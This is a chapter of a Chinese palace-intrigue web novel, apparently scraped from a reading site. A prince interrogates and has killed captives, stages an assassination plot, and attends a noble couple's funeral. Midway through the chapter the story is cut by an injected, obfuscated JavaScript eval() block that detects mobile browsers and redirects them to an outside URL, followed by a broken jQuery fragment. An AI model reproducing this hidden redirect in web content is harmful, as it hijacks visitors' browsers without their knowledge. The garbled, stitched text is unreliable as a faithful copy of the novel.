冬日的天亮得晚，辰时的更声虽已响过，亳州城内仍旧灰蒙蒙一片，只零星有几处宅院亮了灯。


    万籁俱寂之际，城东突然响起一声哀嚎，那哀嚎声很是突兀，骤然响起，吓得人心脏突突地跳，可顷刻间又恢复一片死寂。


    即便有人听见，也当成是刚睁眼脑子不清醒幻听了。


    常立出了一头冷汗，匆匆跑至靖桓宇门前，做了几个深呼吸后方小心翼翼开口：“殿下恕罪。”


    靖桓宇在亳州期间，并未住在知府府邸或是城外的官驿。


    他命人在城东临时租下一处宽阔却又远离百姓的宅院，在这里住了下来。


    那突兀的哀嚎声，正是从这处宅院的柴房里传出的。


    常立说完“殿下恕罪”后，里头过了好一阵才有了淡淡地回应：“做事小心些。”


    听这语气，殿下并未怪罪，常立舒了一口气，道：“属下会注意的。”


    “问到什么了？”屋内靖桓宇又问道。


    常立答道：“殿下，昨夜审了一夜，那稳婆的儿子也没说出什么有用的线索。”


    靖桓宇正慢条斯理地在盆中浸着帕子，闻言先是叹了口气，接着缓缓道：“看来他们的口风果然紧，和敬德皇后乳娘的家人一样。”


    敬德皇后的乳娘，也死在了年前孙宅的那场大火中。


    殿下刚到亳州的第一晚，就让亳州知府吴明呈上了死者名录，以及他们的家人下落。


    此次除了周国公夫妇二人以外，其余三十名死者，有二十人是从京都跟随周国公夫妇而来，剩余十人，则皆是孙家以前在亳州时的一些老仆。


    因为他们的年纪也较大了，在亳州又各自有家人子孙，是以五年前孙家举家搬往京都时，便将他们留了下来。


    这十人当中，有两个自敬德皇后的乳娘，还有一个是当年大皇子出生时，为敬德皇后接生的稳婆。


    这三个人，殿下似乎格外上心，知道她们各自的家人下落后，殿下就派他去将那三家人“请”了过来。


    殿下似乎想从他们口中知道一些关于大皇子生辰的消息，常立心中有所怀疑，但殿下未明说，他也不敢轻易将心中猜测说出来，只是按着殿下的吩咐，日夜不停地从那三家人口中问话。


    屋内，靖桓宇将浸了冷水的帕子盖在脸上，缓缓地闭上了眼。


    帕子的冷意透过皮肤传进他的神经，他拿下帕子，又睁开了眼，幽深的眸底透出一分阴鸷，“既说不出什么有用的话，便送他们去和家中长辈相见吧！”


    这吩咐常立这几日已是第三次听了，可他心里还是忍不住一阵凛然，想要说什么最终还是忍住了，只低头应了声“是”。


    他转身出了门，很快又折返回来，再回来时，身上隐隐带着一股血腥味。


    这味道蹿进靖桓宇的鼻尖，他不由皱了皱眉，常立察觉，忙道：“属下先去洗漱下，换身衣服再过来。”


    靖桓宇说：“不必了。”


    常立身上淡淡的血腥味，瞬间将他拉回了那个经常盘踞在他脑海里的噩梦中。


    约摸从半年前开始，他经常会做一个梦，梦里他娶了闻相的女儿，得到了朝中旧臣的支持；又娶了赵越的女儿，得到了新臣的支持。


    后来无意中得知了大哥并非父皇亲生一事，随即顺利地让大哥失去了即位的可能性。


    父皇的子嗣只有他和大哥，大哥非亲生，皇位只能传给他。


    他顺利即位，天下终于尽在他手中。


    这个时候，他终于可以着手铲除异己了。


    父皇称帝后，格外优待那些曾经效忠于李朝皇室的旧臣，但他却认为，非我族类，其心必异，那些人怎么也比不上和父皇一起从尸山血海中共创基业的功臣，他认为李朝旧臣迟早有一日会起反心，与其等着将来事发，不如未雨绸缪，是以即位后的第一件事，便是除掉这个不安定因素。


    闻仲年是李朝旧臣之首，他千方百计娶了他的女儿为妻，使得闻仲年一党只能无条件地支持他。


    他很是感激闻仲年给他带来的助益，但他不能容许这些曾经效忠过其他人的臣子在他手下行事，焉知哪日他们会不会背叛自己。


    他已是帝王，除掉这批李朝旧臣，朝中的职缺便即就会空出一大半，因此当他有意无意地向其他人透露了他对闻仲年一党的不满后，有一大批臣子向他暗表忠心，进献计策。


    有了其他臣子的配合，铲除李朝旧臣的行动十分顺利。


    等闻仲年一党反应过来时，他们已然身处大狱之中。


    抄家，定罪，处刑，三个月的时间，他完成了登基后的第一件大事。


    事情进行的很顺利，唯一的一点小意外，便是他真的对闻仲年的女儿动了心。


    不过这件事并不曾让他有所动摇，江山稳定与儿女情长之间，他还是分得清的。


    不过为了不让闻雪英有过激的行为，他特意留了闻家那对双胞胎的命，原以为随着时间流逝，闻雪英会渐渐忘记她的家人，安心做他的宠妃，岂料出了意外，加之皇后多嘴，闻雪英终究做出了极端行为。


    梦里她死在了自己手下，鲜血从她的胸口涌出，便是现在这个味道。


    突然，靖桓宇的回忆被常立打断，他问：“殿下，今日就是初五了，咱们什么时候回京？”


    靖桓宇沉默半晌，道：“宫里应该已经动手了吧？”


    常立道：“按照计划，今日官员家眷入宫，人多混乱之际，是动手的好时机，那宫女的老母在我们手上，她必然会乖乖听话。只是……”


    常立顿了一顿，迟疑道：“属下还是不明白，殿下为何要让人去刺杀孙贵妃和孙国舅他们？”


    且殿下说不必真的杀了他们，只让人知道有人要刺杀他们即可。


    靖桓宇捏一捏眉心，冷静道：“回了京你就知道了，今日是孙家出殡的日子，咱们去露个面，明日就回京。”


    常立应“是”，跟着靖桓宇出了门，打马直往孙宅而去。


    此刻孙宅大门外的长街上，浩浩荡荡站满了送殡的队伍。


    亳州上自知府，下至县丞，大大小小的官员外加亳州所有的大户人家以及平头百姓，皆出街亲自为周国公夫妇送行。


    路两边，跪满了身披麻布孝衣的百姓。


    常立随着靖桓宇进入主街，下了马，看到眼前景象，不由道：“殿下，孙国舅这排场，摆得也太大了些。”


    不知道的还以为过世的是什么立下丰功伟业，可堪名垂千古的朝廷重臣。


    靖桓宇道：“周国公夫妇于我父皇有恩，可不是立下了丰功伟业？”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161336|137652||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    常立：“……”


    那也不至于全城的百姓都来为其送行吧。


    常立觉得这多少有些逾制，但殿下都这么说了，他一个下人自然也不好多嘴。


    棺椁迟迟不见出来，靖桓宇于是进了孙家宅院，刚一进门就隐约听见有持续的怒骂声传来。


    他寻着声音找过去，到了设置灵堂的地方。


    知府吴明正满脸堆笑，点头哈腰地对孙国舅说着什么。


    孙国舅与自己的两个儿子正轮番指责吴明办事不力，一是迟迟不能查出杀害周国公夫妇的凶手，二是疏于防备，几日前险些让孙国舅一行也遭遇了不测。


    他们父子三人话里话外都在说回京之后便要向父皇进言，罢免吴明这个无用之人。


    吴明满头大汗，不停地赔着罪。


    当初他被派到亳州当差，与他一同外放就任的同僚都很羡慕他，说亳州是龙兴之地，乃有福之地，亳州定然会政通人和，他任上定会平平安安，不会遇上任何麻烦。


    吴明当时也很高兴，谁知道上任不过两年，就遇上了这种事。


    这几日，他在孙国舅面前放低了姿态，恨不能叫对方一声爹，以期能消减孙国舅的不满。


    然而孙国舅始终对他不依不饶，隔三差五叫他到周国公夫妇灵前下跪赔罪。


    吴明有苦说不出。


    靖桓宇在门外听了一阵，唇角不由浮现一丝讽笑。


    难怪父皇称帝后，赏了孙家宅院田地各种家产，却始终不曾对孙家的人委以重任。


    商贾出身的孙家，终究登不了台面。


    不过吴明对他还有用，他决定上前去解救他。


    他跨过门槛，顺着靖桓洲的关系唤道：“舅舅，消消气，先送老人家入土为安要紧。”


    孙国舅的两个儿子见靖桓宇进来，忙起身行礼，反倒是孙国舅本人，他似乎是真把自己当成了靖桓宇的长辈，虽息了声，却仍旧四平八稳地坐着。


    常立眉心一跳，刚要上前，靖桓宇冲他使了一个眼色，常立咬了咬牙，又退了回去。


    靖桓宇接着道：“舅舅，失火的事，已经有些眉目了，我打算明日便回京向父皇复命，原本该让舅舅与两位表兄在亳州多待一段时日为两位老人守孝的，只是前几日发生了刺杀的事，我思来想去，还是觉得你们应该明日同我一起回京，留在亳州，恐怕会有危险。”


    他说出这样的提议，恰好说到了孙衍父子心坎里。


    按规矩，不说为周国公夫妇守孝三年，也该守满百日，只是京中局势瞬息万变，大皇子又性子和善单纯，万一宫里出了什么事，他们在亳州鞭长莫及。


    再者还有人想要他们的命，这种情况下，回京是最好的选择。


    孙衍正愁没有提前回京的借口，没想到二皇子这就将借口递给他了，不过立即答应却也显得他贪生怕死，不顾孝道。


    孙衍略做沉吟状，十分哀痛地说道：“身为人子，又岂能不为双亲守孝？”


    靖桓宇道：“我想，两位老人不会怪罪舅舅的。”


    孙衍双手捂脸，发出低低的哀泣声，“如此，那便依殿下所言吧。”


    于是这日将周国公夫妇的尸身下葬，翌日一早，孙衍一行人便收拾行囊，与靖桓宇一同出发，前往京城。